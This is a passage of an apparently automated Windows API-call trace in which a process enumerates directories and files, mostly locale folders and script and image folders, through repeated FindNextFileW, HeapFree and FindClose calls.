cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.041] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.044] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.044] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.045] FindClose (in: hFindFile=0x41213c8 | out: hFindFile=0x41213c8) returned 1 [0189.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.045] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.045] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.045] FindClose (in: hFindFile=0x41216c8 | out: hFindFile=0x41216c8) returned 1 [0189.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.046] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0189.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.374] FindClose (in: hFindFile=0x41213c8 | out: hFindFile=0x41213c8) returned 1 [0189.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1 [0189.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.376] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0189.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4121188, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.376] FindClose (in: hFindFile=0x4121188 | out: hFindFile=0x4121188) returned 1 [0189.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 